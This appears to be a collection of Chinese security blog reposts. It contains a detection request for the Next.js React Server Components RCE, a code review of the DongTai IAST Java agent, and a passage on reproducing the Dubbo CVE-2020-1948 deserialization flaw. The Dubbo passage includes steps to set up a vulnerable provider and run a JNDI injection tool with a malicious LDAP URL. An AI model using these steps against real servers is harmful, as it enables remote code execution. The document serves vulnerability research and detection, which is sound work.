为什么不能用这种方式?一方面,这种方式需要一个人固定维护这份 .DLL 文件,每个版本的微信对应调用函数的映射地址都是会变化的,在企微强更较频繁的环境下难以如此费精力的去再做一遍(我不负责!);另一方面,在思考企微协议相关的利用与分析这段时间里,我在许多群组里都看到了因为使用这种方式不恰当导致企业账号被封禁的情况,从流量请求来看,这部分从本地发出的请求很容易被识别,属于腾讯自己灰产的一部分

image

如此辩解就好,也算是完成了任务,也没走上违法犯罪的道路,可喜可贺,可喜可贺

参考引用

基于wireshark对网页版微信抓包和ios微信抓包分析

微信3.9.8.25机器人(Hook注入)搭建教程文档

ttttupup-wxhelper

High Fidelity Detection Mechanism for RSC/Next.js RCE (CVE-2025-55182 & CVE-2025-66478)

High Fidelity Detection Mechanism for RSC/Next.js RCE (CVE-2025-55182 & CVE-2025-66478)

本文转自 Adam Kues 并作补充

今天早上,Next.js 发布了安全公告存在一个漏洞,即使在默认配置下也会导致远程代码执行 (RCE),且无需任何前提条件。此问题的根源在于 Next.js 使用的 React 服务器组件。

在过去的一天里,我们注意到 GitHub 上流传着大量不正确的 PoC,这些 PoC 并不能以较高的置信度真实地证实此漏洞的存在。

我们在 GitHub 上看到的一些 PoC 完全误诊了漏洞的根本原因,关键在于它无需任何前提条件(例如上下文中存在某些函数)即可在 Next.js 上利用该漏洞。

虽然我们已在下方提供了 HTTP 请求和预期响应,但如果您希望使用工具来检测主机列表中的此问题,请参阅我们 GitHub 上的漏洞代码库:https://github.com/assetnote/react2shell-scanner。

该漏洞的原始作者确认,GitHub 上的这些 PoC 与之前分享给 React 和 Next.js 维护者的漏洞利用程序并不相同。请参阅作者在 GitHub 上的留言。https://react2shell.com/。

虽然有几种机制可以确定资产是否正在运行 React Server Components (RSC),但仅仅验证 RSC 是否存在并不足以确定资产是否真的容易受到此 RCE 攻击。

因此,我们的安全研究团队进行了调查,以确定可用于安全可靠地确认 Next.js 应用程序中是否存在此 RCE 漏洞的 HTTP 请求。

注意:我们收到报告称,一些用户声称在响应摘要错误的主机上存在漏洞,但并未明确发送以下有效载荷。此有效载荷对于确认该漏洞的存在至关重要。即使以下有效载荷可能在受影响的 Next.js 版本范围之外也能检测到漏洞;但是,由于 WAF 会对完整的 RCE 有效载荷进行保护,因此仍然需要进行检查。

可以使用以下HTTP请求来确认是否存在漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST / HTTP/1.1
Host: hostname
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%2Cnull%2Cnull%5D%7D%2Cnull%2Cnull%2Ctrue%5D
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 232

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

{}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

["$1:a:a"]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

当使用存在漏洞的 Next.js 版本发送上述请求时,HTTP 响应将如下所示:

1
2
3
4
5
6
7
8
9
10
HTTP/1.1 500 Internal Server Error
Date: Thu, 04 Dec 2025 06:16:39 GMT
Content-Type: text/x-component
Connection: keep-alive
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Vary: rsc
Content-Length: 76

0:{"a":"$@1","f":"","b":"yd-J8UfWl70zwtaAy83s7"}
1:E{"digest":"2971658870"}

检查是否存在E{"digest"500 状态码,可以可靠地返回环境中存在漏洞的主机。

为什么这种检查有效?

之所以能够通过此检查区分易受攻击的主机和非易受攻击的主机,是因为 React-Server 依赖项使用冒号来分隔对象属性。请参见以下代码片段:

1
2
3
4
5
6
7
8
9
10
11
12
function getOutlinedModel<T>(
response: Response,
reference: string,
parentObject: Object,
key: string,
map: (response: Response, model: any, parentObject: Object, key: string) => T,
): T {
const path = reference.split(':');
// ... snip ...
for (let i = 1; i < path.length; i++) {
value = value[path[i]];
}

例如,如果我们像这样在多部分请求中传递 JSON:

1
2
3
4
5
6
7
8
9
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

["$1:a:b"]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

{"a":{"b":"foo"}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

这将转化为以下内容:

1
"$1:a:b" -> {"a":{"b":"foo"}}.a.b -> "foo"

在存在漏洞的 React Server 版本中,我们可以通过以下 multipart 请求强制返回 500 错误:

1
2
3
4
5
6
7
8
9
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

["$1:a:a"]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

{}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

之所以会引发异常,是因为它最终映射到以下内容:

1
"$1:a:a" -> {}.a.a -> (undefined).a -> 500

React Server Components 的补丁版本为这种冒号表示法添加了额外的检查,从而防止崩溃发生:

1
2
3
4
const name = path[i];
if (typeof value === 'object' && hasOwnProperty.call(value, name)) {
value = value[name];
}

这意味着如果:语法引用了不存在的属性,则会被忽略。这意味着补丁之后,我们将不再收到 500 错误。

Assetnote 攻击面管理平台的客户今天早些时候通过我们安全研究团队开发的高保真检查收到了有关其整个攻击面存在此漏洞的通知。

洞态IAST试用

洞态IAST试用

本文转自 素十八 并作补充

image

0x01 前情提要

北京时间11点42分,正准备划 20 分钟水去吃午饭,园长突然跟我说过火线的 IAST 突然开源了,原名灵芝IAST更名为洞态IAST,真是OMG。

IAST 也是同样使用 agent 技术。同样一种技术,在不同人的手里用法也不同,同一种思路在不同人手里的实现方式也可能存在差异。那么既然他开源了,那就来看一看学习一下他的思路和实现,也顺便测试一下产品,取其精华。

能有这样的产品开源供广大安全从业者测试和学习真的是一件非常好的事,真的是要撒花庆祝,感谢老板。由于明确项目定位是 IAST 产品,因此主要关注的是检测能力的实现和 sink/source/hook 点的选取。

项目地址:https://github.com/HXSecurity/DongTai-agent-java

文档地址:https://github.com/HXSecurity/DongTaiDoc

0x02 项目结构

首先看一下整个的代码逻辑,项目总共分为 3 个模块,分别是 iast-agentiast-coreiast-inject

iast-agent

入口类是 com.secnium.iast.agent.Agent,与任何一家使用 java agent 技术的产品一样,洞态也是使用了 Sun JVM Attach API 将 agent 附加到指定的 Java 进程上。

image

com.secnium.iast.agent.IASTProperties 是 agent 的单例配置类,从 src/main/resources/iast.properties 中读取配置。

com.secnium.iast.agent.IASTClassLoader 是 agent 自定义的 ClassLoader,继承自 URLClassLoader,这个类的代码参考自 jvm-sandbox,其中需要注意的是,在卸载 agent 时需要关闭 ClassLoader,如果不能通过 ClassLoader 的 close() 方法进行关闭,则需要寻找已经打开的 jar 文件并释放文件句柄。

com.secnium.iast.agent.UpdateUtils 是由客户端主动向云端发送请求,用来检查版本更新和发送更新状态,其中静态方法 sendRequest() 可以向外发送 Http 请求。也可以看到发送请求使用了 ua: SecniumIast Java Agent ,这部分其实可以做为一个特征。

com.secnium.iast.agent.AgentLauncher 是在应用程序指定了 javaagent 参数情况下的入口类,这个类中的 premainagentmain 方法均调用了共同的 install() 方法安装 agent。这个方法则是调用 com.secnium.iast.agent.manager.EngineManager 对整个流程进行管理。

image

接下来我们看一下 EngineManager 这个类,这个类是 IAST 引擎管理器,并且使用单例对象,首先执行的是 updateEnginePackage() ,更新 IAST 引擎需要的 jar 包,从云端进行下载。

然后调用 install() 方法,首先将 iast-inject.jar 注册到 BootstrapClassLoader 中,然后使用自定义的 IASTClassLoader 加载检测引擎 iast-core.jar ,并反射调用里面的 com.secnium.iast.core.AgentEngineinstall() 进行检测逻辑的初始化和加载动作。

image

进一步加载检测引擎中的多个引擎:

image

然后反射调用com.secnium.iast.core.AgentEnginestart() 方法,更新在检测引擎中的一个全局标识位。

image

检测引擎启动之后,agent 端还会启动几个守护线程:

  • PerformanceMonitor:负责监控jvm性能状态,如果达到停止阈值(80%),则停止检测引擎;如果达到卸载阈值(90%),则卸载引擎。
  • UpdateMonitor:监控云端,判断检测引擎是否需要更新。
  • EngineMonitor:监控配置文件 engine.status 配置项的更改。

image

这个模块就是起到一个 agent 入口的作用,无需多言。

iast-inject

这个模块只有一个类 java.lang.iast.inject.Injecter,难道不应该是 Injector 吗,害。

这个类定义了一些回调方法钩子:

image

并围绕这些钩子定义了若干方法,这些放在将会使用 ASM 时插入指定类的类字节码中。

image

这个类实际上是定义中间处理逻辑以及定义供 ASM 调用的方法。代码太长了,不想细看。

iast-core

这个模块如其名字,是整个 agent 的核心,我们先来看一下整个项目的目录结构:

  • engines:支撑整个模块调度的几个引擎,包括:ConfigEngine(通过云端返回结果构建IAST的模型规则),LoggerEngine(日志记录引擎),SandboxEngine(创建 EngineManager 实例),ServiceFactory(服务引擎,使用定时任务实现心跳、报告发送以及 http 请求重放机制),SpyEngine(初始化 SpyUtils),TransformEngine(创建自定义 ClassFileTransformer,使用 retransform 方法处理类字节码)
  • enhance:如其名——增强,包括了自定义 ClassVisitor、自定义 AdviceAdapter、sink/source 点的选取、对一些框架和中间件的适配、SCA 检查功能的实现等等。
  • handler:针对漏洞的检测逻辑、策略模型的建立、污点图的构造、对整个流程的处理。
  • middlewarerecognition:用来检测当前的中间件
  • replay:HTTP 请求重放
  • report:一些报告和日志的实现
  • threadlocalpool:一些需要在线程之间传递的类
  • util:工具类
  • 其他:一些负责管理和调用的类

另外,在这个项目的 resources 中,还有一些基础的 txt 以及 xml 的配置,这部分等调用到此的时候再说。

首先来继续之前的调用流程,iast-agent 通过反射调用com.secnium.iast.core.AgentEngineinstall() 方法,调用各个引擎的 start() 方法。此处关注其中几个引擎:

ConfigEngine 通过请求 /api/v1/profiles,并解析其中的结果,最后创建了一个 IASTHookRuleModel 实例,这个实例就是这个 agent 的处理模型,其中保存了很多处理中用到的规则。

image

TransformEngine使用 Instrumentation 接口,进行字节码的转换,调用了com.secnium.iast.core.enhance.IASTClassFileTransformer#retransform 方法。

image

这个方法使用了 IASTClassHookPointMatcher#findForRetransform() 使用 Instrumentation 对象的 getAllLoadedClasses() 获取所有已经被加载的类,并通过 com.secnium.iast.core.util.matcher.ConfigMatcher#isHookPoint() 方法进行筛选判断,返回了一个需要修改的类的 List 。

image

通过以上代码可知,agent 对以下的类没有 hook:

  • 类名 com/secnium/iast 开头的类
  • 类名 java/lang/iast/ 开头的类
  • 类名包含 CGLIB$$ 的类
  • 类名包含 $$Lambda$ 的类
  • 类型包含 _$$_jvst 的类
  • 在资源文件 com.secnium.iast.resources/blacklist.txt 写入的类,其中包括了:EDU/oswego/cs/dl/util/concurrent/*net/sf/ehcache/*net/bytebuddy/*com/secnium/*apple/*com/octo/captcha/*Routes$aQute/service/*ch/qos/logback/*bsh/*antlr/debug/*com/bea/common/*等。

在 blacklist.txt 中写了多达 7 万多行的类名和前后缀,根据其注释,这是为了过滤掉 Sandbox 所需要的类,防止 ClassCircularityError 的发生。

随后调用 retransformClasses() 会让类重新加载,从而使得注册的类修改器能够重新修改类的字节码,这要就会调用之前通过 addTransformer() 注册的 IASTClassFileTransformer 中重写的 transform() 方法。

方法里首先调用 com.secnium.iast.core.enhance.IASTClassAncestorQuery#scanCodeSource 通过获取 jar 包中的 manifest 信息并将其发送回云端,这部分是 SCA 功能的实现。

然后二次调用了 ConfigMatcher.isHookPoint() 判断 hook 类,感觉这个判断写重了,没必要。

IASTClassAncestorQuery 里缓存了 CodeSource/ClassLoader/ClassName/SuperName/Interfaces。

创建 ClassWriter,依然是使用 COMPUTE_FRAMES 自动计算帧的大小,并且重写了getCommonSuperClass() 方法,在计算两个类共同的父类时指定ClassLoader。

创建 IASTContext 上下文,初始化 PluginRegister,这个类中包含了一个全局常量 PLUGINS,里面保存了很多的处理插件,这些类都实现了 DispatchPlugin 接口,这个接口包含两个方法:

  • dispatch():分发不同的 classVisitor 处理对应的类
  • isMatch():判断是否命中当前插件

image

在上图的类中是 DispatchPlugin 的实现类,其中包含了 agent 中的一些 sink/source/hook 点,在这些类的 dispatch() 方法中,会创建继承至 AbstractClassVisitor 的各个ClassVisitor,在 ClassVisitor 中又通过重写 visitMethod() ,注册继承至 AbstractAdviceAdapter 的实现类,这些类重写父类的 before()/after() ,实际上是 AdviceAdapter 的 onMethodEnter()/onMethodExit() 实现了字节码的插入。具体的字节码插入部分是 ASM 的 API ,无需多言。

这里可以看到,洞态为每种不同的 hook点/sink点/source点订制了不同的 ClassVisitor 和 MethodVisitor,也就是说写入的字节码不一致,那到底写入了什么呢?通过看 ASM 的 API 比较难以阅读,还是在字节码写入后把 class dump 出来看比较方便。

SpyEngine 通过调用 java.lang.iast.inject.Injecter#init 方法将 com.secnium.iast.core.handler.EventListenerHandlers 中定义的全部处理方法存入了 namespaceMethodHookMap 中供全局调用。而在 EventListenerHandlers 中定义的这个方法,实际上又是由 Injecter 通过反射调用。

而后续系统的全部功能,都是由 EventListenerHandlers 中定义的这些方法处理和调度的,这里不再进行一一分析。

0x03 功能实现探究

支持漏洞

洞态 IAST 支持的漏洞类型位于 com.secnium.iast.core.handler.vulscan.VulnType,如下图:

image

对应配置文件中的 model.xml,通过反向查找调用就可以查看相关的处理逻辑,各位看官请自行评测,本文不会对每种漏洞的实现进行一一介绍。

SCA 实现

一个优秀的 IAST 一定有 SCA 一类的功能,简单的实现都是通过收集客户段组件信息,发送到云端通过匹配 CPE,并链接到对应的 CVE/CWE/CNNVD 等,并进行展示,先看一下洞态的云端效果,在组件管理:

image

看看右边的数量和左边的数量完全对应不上,难道是我对这些数字的理解有问题?点击进入条目,有该组件对应的一些信息的展示

image

再点击就有对应 CVE 的一些漏洞信息描述的信息。

image

那么这个功能是如何实现的呢?在前面提到 SCA 是由com.secnium.iast.core.enhance.IASTClassAncestorQuery#scanCodeSource 所实现,这个方法有两个出口,据我判断,应该是不会走到下面那个 scan() 方法。

image

com.secnium.iast.core.enhance.sca.ManifestScaner#parseJarManifest 调用 getPackgeInfo 获取 Attributes 中的 Implementation-Version 和 Implementation-Title

image

最后拼接出了一些对应的信息发送给云端。

image

云端接收到这些信息处理入库,并对接自己 CPE/CVE 漏洞信息库进行分析和展示。

这部分实际上是非常简单的实现,没有复杂的检查逻辑,这个功能 OWASP 有开源的,建议参考:https://github.com/jeremylong/DependencyCheck

sink/source/propagator/http

构建一个 IAST,重要的就是整个模型的构建,前面分析过,模型的构建是通过 buildRemote() 方法获取远端的配置。

image

由于这个 json 太长了,我没细看,在这里就不展示了,这个配置在本地也有一个 model.xml,以 xml 格式储存了这些信息,这些信息在处理后会被转为 IASTHookRuleModel 对象。

在这个配置中我们发现了一些标记,他们都代表什么呢?

  • type:这个 hook 点的类型,一个 hook 点会被分类为:1. 传播节点 2. source 点 3. filter 点 4. sink 点
  • value:方法类型
  • details:inherit 是否继承,value 方法签名,target 目标参数位置,source 源参数位置,track 标记是否要追踪

其中 sink 点要标记污点所在的参数位置,传播节点要标记源位置和目标位置。分类处理完这些配置文件后,将会将所有信息保存到 IASTHookRuleModel 中的一些变量中。

image

在之前的分析中就提到过,对于每一种不同的 hook 点,插入的字节码是不一样的。

sink 点插入:

1
2
3
4
5
6
7
8
9
10
11
12
13
try {
Injecter.enterSink("LingZhi");
if (Injecter.isFirstLevelSink("LingZhi")) {
Injecter.spyMethodOnBefore(对应sink点参数);
}

// 原始逻辑。。。

Injecter.leaveSink("LingZhi");
return 返回结果;
} catch (Exception e) {
throw e;
}

传播节点:

1
2
3
4
5
6
7
8
9
10
11
12
13
try {
Injecter.spyMethodEnterPropagator("LingZhi");

// 原始逻辑。。。

if (Injecter.isFirstLevelPropagator("LingZhi")) {
Injecter.spyMethodOnBefore(对应传播节点参数);
}
Injecter.spyMethodLeavePropagator("LingZhi");
return 返回结果;
} catch (Exception e) {
throw e;
}

source节点:

1
2
3
4
5
6
7
8
9
10
11
12
try {
Injecter.enterSource("LingZhi");

// 原始逻辑。。。

if (Injecter.isFirstLevelSource("LingZhi")) {
Injecter.spyMethodOnBefore(对应source参数}
Injecter.leaveSource("LingZhi");
return 返回结果;
} catch (Exception e) {
throw e;
}

http节点:

1
2
3
4
5
6
7
8
9
10
11
try {
Injecter.enterHttp("LingZhi");
if (Injecter.isFirstLevelHttp("LingZhi")) {
Injecter.spyMethodOnBefore(对应参数);
}
// 原始逻辑。。。

Injecter.leaveHttp("LingZhi");
} catch (Exception e) {
throw e;
}

这其中的逻辑,总结起来是这样的,系统中定义了了一个 com.secnium.iast.core.handler.controller.TrackerHelper,用来作为一个全局的计数器?(追踪器),当进入一个节点时,对应的成员变量会自增 1,而退出时,会 -1,并且判断当前节点是否为第一层级节点,如果不是,将不会走入后续 spyMethodOnBefore() 方法。这个类中还定义个一个 trackCounts,目前还没有用上。

spyMethodOnBefore() 方法中,将会 Hook 点类型的不同分别调用 HttpImpl.solveHttpPropagatorImpl.solvePropagatorSourceImpl.solveSourceSinkImpl.solveSink 进行不同点的处理。

http 节点处理

创建一个自定义的 com.secnium.iast.core.util.http.HttpRequest 对象,储存相关内容和 httpServletRequest 引用对象,静态文件不处理,目前定义的静态文件后缀是 .js,.css,.htm,.html,.jpg,.png,.gif,.woff,.woff2,.ico,.maps,.xml,看到了 htm/html 没有处理,这种情况下伪静态的网站可能会漏检查,根据正则查看 url 中是否含有 “login” 字样,并设置其是否为登陆 URL,将一些信息初始化和缓存到 EngineManager 中。这类节点主要负责标记和预处理的。

sink 节点处理

使用程序启动时加载的 IASTHookRuleModel,在其中获取方法签名对应的 sink 方法对象,这里返回的是一个 IASTSinkModel 对象,调用 com.secnium.iast.core.handler.vulscan.ScannerFactory#preScan 进行数据预处理,预处理主要是包括对 unvalidated-redirectsql-over-power 两种漏洞类型的处理。

预处理之后,调用 com.secnium.iast.core.handler.vulscan.ScannerFactory#scan,又分别进行动静态的扫描:

  • 静态扫描包括:crypto-weak-randomnesscrypto-bad-maccrypto-bad-cipherscookie-flags-missing 四种漏洞类型的支持。
  • OverPower 扫描:目前没有具体实现。
  • 动态扫描:判断 sink 方法的污点来源是否命中污点池,将当前调用的污点事件存入 EngineManager.TRACK_MAP 中。

source 节点处理

将当前污点来源事件存入 EngineManager.TRACK_MAP 中,将污点来源的返回结果放入 EngineManager.TAINT_POOL 污点池中。

propagator 节点处理

处理传播节点的逻辑是最复杂,这里还是简单描述:

  • 如果污点池为空,证明还没有经过 source 点,则不处理传播节点,否则还是去 IASTHookRuleModel 里找对应的 IASTPropagatorModel 对象。
  • 如果找到了对应的对象,则调用 auxiliaryPropagator() 对象,根据传播节点的配置将结果写入 event.outValue 。并将传播节点时间写入 EngineManager.TRACK_MAP 中。
  • 如果没找到对应的对象,则调用 TrackUtils.smartEventMatchAndSetTaint() 判断,判断太长了没看,最后还是将传播节点写入 EngineManager.TRACK_MAP 中。

看完了这些节点的处理方式,我们简单串一下逻辑:

  1. 一次请求到达了应用程序,首先进入 http 节点处理逻辑,进行标记和预处理。
  2. 请求进入到 source 点,将 event 放入 EngineManager.TRACK_MAP 中,将 source 的结果放入了 EngineManager.TAINT_POOL 污点池中。
  3. 请求再进入 propagator 节点时,根据配置判断传播节点的参数是否存在于污点池中,如果是,则将传播节点 event 放入 EngineManager.TRACK_MAP 中。
  4. 应用程序走到最后的 sink 点时,根据 sink 点的配置,判断 sink 点的参数是不是在 TAINT_POOL 中,如果是,则将 sink 点写入 EngineManager.TRACK_MAP 中。
  5. 随着程序的多次调用,程序还会再次进入多次传播节点,这些节点也会被放入 EngineManager.TRACK_MAP 中。
  6. 在应用程序执行完,回到 http 节点,最后执行到 leaveHttp 时,会调用 GraphBuilder 构造污点调用图并发送至云端。

越权检测

在看代码的时候,多次看到 over power 一类的字样,想来想去终于想明白了,这可能是越权的意思。IAST 能检测越权?有点意思,那我们来看看他是如何实现的。

之前提到过 com.secnium.iast.core.handler.vulscan.ScannerFactory#preScan,在这个位置命中 sink 点后,有两个处理逻辑:

  1. 如果命中了 unvalidated-redirect 的 sink 点,并且是方法签名是 setHeader/addHeader 等,就将其理解为可能是登陆成功后的跳转操作,找到其中 Set-Cookie 的值:
  • 如果判断当前为登录逻辑,则保存到 AuthInfoCache中,
  • 否则将更新原有缓存的 cookie 信息,并且向云端发送报告
  1. 将会创建 IJdbc 的实例, 调用LoginLogicRecognize.handleLoginLogicRecognize() 方法处理登陆逻辑识别:
  • 通过 isLoginSqlQuery() 使用正则匹配 sql 语句,看是否有登录字样,识别是否为登录连接
  • 调用 AuthInfoManager.handleAddCookieAction() 方法将“登陆相关的sql查询语句”、“cookie”信息、sink 点的 ClassName发送至云端,并把 cookie 缓存到 AuthInfoCache 中。

后续在之前也看到了,对应的 OverPowerScanner 的 scan 方法没有具体实现,那这时候我们可以猜测一下,作者主要是想通过 cookie 和登陆的 sql 语句进行关联。通过检查 sql 语句是否与污点池有关、检查 sink 点的参数是否与污点池有关来判断是否有越权。这些数据都被发送到了云端,那对于云端来说,如何区分不同权限的用户?如何判断这个请求是否应该匹配到用户?

以目前程序里的处理逻辑,还做不到鉴权的功能,在云端中也没有展示这个漏洞类型,等待进一步的更新。

其他

其他漏洞的检测逻辑没什么要说的,主要是 hook 点的选取。

0x04 测试

在看完代码逻辑和简单试用后,我们正式的测试一下这个产品。
首先编译一下 agent,我这边的环境是:

通过调试发现自己编译 core 和 inject 没用,他的 agent 无论如何还是会从官网上自己下载这两个 jar 包并放到 temp 目录下,不知道是故意的还是写出来的 bug,因为如果从官网上下载,也只是下载 agent,在运行时动态下载 core 和 inject,应该是最开始打算试用,没打算开源??由于我的目的是学习调试,所以我使用了自己编译的关闭了 proguard 混淆的版本,并修改了判断逻辑,使应用程序不去云端判断,直接加载本地 jar。

为了更直观的看到 agent 对类字节码的更改,需要在配置文件中更改 iast.dump.class.enableiast.dump.class.path 相关参数。

功能型测试

通过上一章功能实现的探究,我们已经关注到了几个安全检测功能的实现,那具体的检测结果怎么样呢?

image

我在自己的靶场里触发了绝大部分的漏洞类型,但很遗憾的是,由于云端的搜索引擎问题,以及 sink 点选取问题,我没能在云端看到太多的检出漏洞。云端的漏洞展示是有问题的,看不到前一天的漏洞内容,不知道是 django 的问题还是什么,建议修复一下。

也建议作者出一个官方漏洞靶场,能对应到所有洞态支持的漏洞类型,也容易理解和说明。

性能测试

以下是使用 wrk 进行的压测:

image

可以看到洞态给应用程序性能带来的影响特别大,当然 IAST 通常都在测试环境下使用,所以可能并不是特别关注性能。

0x05 评价

出来在之前分析过程中的一些我将从两个方面对目前版本洞态 IAST 进行评价,首先是使用中的一些想法:

  1. SCA 漏洞组件管理没有整理和去重,在我测试的过程中多次重启项目导致同一个条目在云端能看到很多次。
  2. 页面上表格查询和相关排序用起来真的难受,建议招一个设计。
  3. 搜索功能面对小白非常不友好,可以说如果对 IAST 不了解的情况完全用不了这个管理后台。
  4. 支持的漏洞数量还是少了点,并且没有对这种漏洞的描述、解决建议什么的信息。
  5. 既然是 java agent 技术的产品,那应该能够给到用户完整的调用链、一些关键调用点信息如代码行数等等,而不是只给到一个 http 请求。

作为一名安全研究员,同时也是 RASP 产品的参与者,我提出几点想法:

  1. 所有的 hook 点,全部是写死的规则文件,无论是本地的 xml 也好,还是远端的 json 也好,都将 hook 点的类,描述符,相关信息完全写死,我相信这些规则是通过某些手段生成出来的,但是一旦在 hook 点选取上没有选择使用动态手段,那就失去了和 0 day 打交道的能力。
  2. hook 点(这里指 sink )的选取还是层次太浅、规律性较差。
  3. 洞态 IAST 检测了当前环境使用的中间件,并发送给云端,目前除了信息收集还没看到有什么样的具体用途,但是通过hook点来看,对于http请求的点还是使用了适配各个中间件的方式, OpenRASP 也是采用这种方式,这种方式在功能上没有什么问题,但是同样地还是失去了动态性,不优雅,也不能做到通用。
  4. 应用在实现上使用了太多的字符串比较处理,以及正则,这将对原应用性能带来极大的影响。
  5. 在调试过程中,包括污点图的处理,总是被大量的无效信息占用了过多的时间,比如 StringBuilder 一类的传播节点,这其实不是漏洞调用的关键节点,个人认为没有必要处理他。
  6. agent 每次收到请求,只要不是静态的,都要向云端发送报告,丧心病狂吧。
  7. 没有对 ClassLoader 进行相关处理,无论是前两年的冰蝎,还是各种反序列化的利用 gadget ,包括我自己的 su18.jsp ,都少不了使用 ClassLoader 加载恶意类的请求,这应该目前 Java 安全关注点比较高的地方,还是建议给 IAST 一个挖 gadget 的可能。
  8. 攻击者目前常用的类似内存马、动态注册 Filter 一类的、以及像一些反序列化恶意类找 response 对象回显的,其实都可以试着搞一搞。

就这样吧,也不想说太多了。

0x06 吐槽

通过个人角度,主要觉得这个项目有以下槽点:

  • 错别拼写真的不少

image

  • 代码重复也不少

image

  • 报告导出的 word 字体到底是咋回事

image

  • 这个功能我点了,不好使,我没看代码有没有相关实现,但这功能贼危险,建议还是不要搞了

image

  • 应用漏洞的展示页面中不会出现重复漏洞,会进行合并,但是可怕的是我触发一次SQL注入漏洞,页面上的出现次数就涨 5 次,这应该是同一条请求调用链上触发多个 sink 点导致的?

image

  • 这个日志记录提供清空和删除功能不说,详细度也完全不够,绝对过不了等保。。。

image

  • 搜索显示完全有问题

image

  • 后端明明回数据了,为啥前面不展示呢

image

  • 一个方法的多个重载方法,没必要都写进去,因为有自调用啊

image

  • 区分应用是怎么区分的呢?

image

0x07 总结

对于一款使用 Java agent 技术开发的工具/产品,重中之重就是 hook 点的选取,以及处理各项逻辑的具体实现,因为需要将代码运行到服务器端,不影响原有功能、不影响原有性能是首要考虑的目标。

这是作为框架考虑的,其次是针对各个漏洞点的检测逻辑,这部分是需要对漏洞理解的足够深入,也就是需要安全研究人员的介入,目前洞态有一部漏洞的检测是写死在代码里的,一部分漏洞的检测是依靠配置文件的设置的。还没有处理成大家习惯的框架-插件的模式,所以想在此基础上二开还是需要花费较多时间理解代码。

期待更新。

Dubbo 漏洞 CVE-2020-1948 复现+简单修复

Dubbo 漏洞 CVE-2020-1948 复现+简单修复

本文转自 JingQ 并作补充

关注该漏洞的童鞋,应该对 Dubbo 这个架构优秀的 RPC 框架不陌生,所以直入主题

漏洞详情

腾讯安全玄武实验室研究员发现,Dubbo 2.7.6 或更低版本采用的默认反序列化方式存在代码执行漏洞,当 Dubbo 服务端暴露时(默认端口:20880),攻击者可以发送未经验证的服务名或方法名的RPC请求,同时配合附加恶意的参数负载。当恶意参数被反序列化时,它将执行恶意代码。

经验证该反序列化漏洞需要服务端存在可以被利用的第三方库,而研究发现极大多数开发者都会使用的某些第三方库存在能够利用的攻击链,攻击者可以利用它们直接对 Dubbo 服务端进行恶意代码执行,影响广泛。

影响版本

dubbo 2.7.6 以下的版本

复现环境

漏洞注入简介

漏洞发现者 rui0,使用 Remo 模块,最终是通过 JdbcRowSetImpl 调用 jndi 来进行远程代码执行

由于该场景复现依赖于低版本的 jdk,之前使用 jdk-8u221 没能复现,去官网下载回低版本,使用低版本后成功复现

名词解释

  • PoC: Proof Of Concept 的缩写。在黑客圈指:观点验证程序。
  • CVE: Common Vulnerabilities & Exposures 通用漏洞披露。
  • ExpExploit,在安全方面,翻译为 「利用」,指利用漏洞进行攻击的动作。
  • Payload:翻译为「有效负荷」,指成功 exploit 后,在目标系统执行的代码或指令。
  • RCEremote code execution 远程命令执行,简称 RCE 漏洞。
  • RMI: 专为 Java 环境设计的远程方法调用机制,远程服务器实现具体的 Java 方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法并获取执行结果,使分布在不同的 JVM 中的对象的外表和行为都像本地对象一样。
  • LDAP: 轻量级目录访问协议,目录服务是一种以树状结构的目录数据库为基础,外加各种访问协议的信息查询服务
  • JNDI: Java Naming and Directory Interface,包括 Naming ServerDirectory Server。是一种 Java API,允许客户端通过名称发现和查找数据、对象。这些对象可以存储在不同的命名或目录服务中,例如远程方法调用(RMI),公共对象请求代理体系结构(CORBA),轻型目录访问协议(LDAP)或域名服务(DNS)。

以上大概就是本次漏洞所涉及到的专业名词,先有个大概了解,后面的内容看的应该比较明白。

漏洞复现

复现场景翻阅了很多篇文章和尝试,发现通过别人构造的 payload 来复现最为简单,所以这里记录一下复现的流程

模拟 Provider

攻击依赖于 rome 工具包中的 ToStringBean 工具,所以无论下载什么提供者项目,都需要将以下依赖加入到 POM.xml 文件中

1
2
3
4
5
<dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.7.0</version>
</dependency>

dubbo-spring-boot-project 说明

  • 一、在 github 下载示例代码,切换分支到 2.7.6 或更早之前
  • 二、在 pom.xml 中加入上面提到的 remo 依赖
  • 三、打包启动
1
2
3
4
5
6
// 下载
$ git clone https://github.com/apache/dubbo-spring-boot-project.git
// 切换分支
$ git checkout 2.7.6
// 添加完依赖后,打包
$ mvn clean install -DskipTests

image

  • 四、启动服务提供者

启动的时候,注意要用低版本的 JDK,使用 IDEA 的话,可以在这里选择编译运行的 JRE

image

接着启动 Provier 即可

运行 JNDI 程序

使用了该位大佬的 PoC,里面注入的 URLldap://127.0.0.1:1389/Exploit,具体原理可以 参考资料六

具体原理说明:

image

以下内容引用自 Apache Dubbo Provider反序列化漏洞(CVE-2020-1948) 利用复现及POC

  • 一、下载注入工具代码
1
$ git clone https://github.com/sayers522/JNDI-Injection-Exploit
  • 二、编译工具包,在 target 目录生成
1
$ mvn clean install -DskipTests
  • 三、运行 JNDI 工具包
1
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

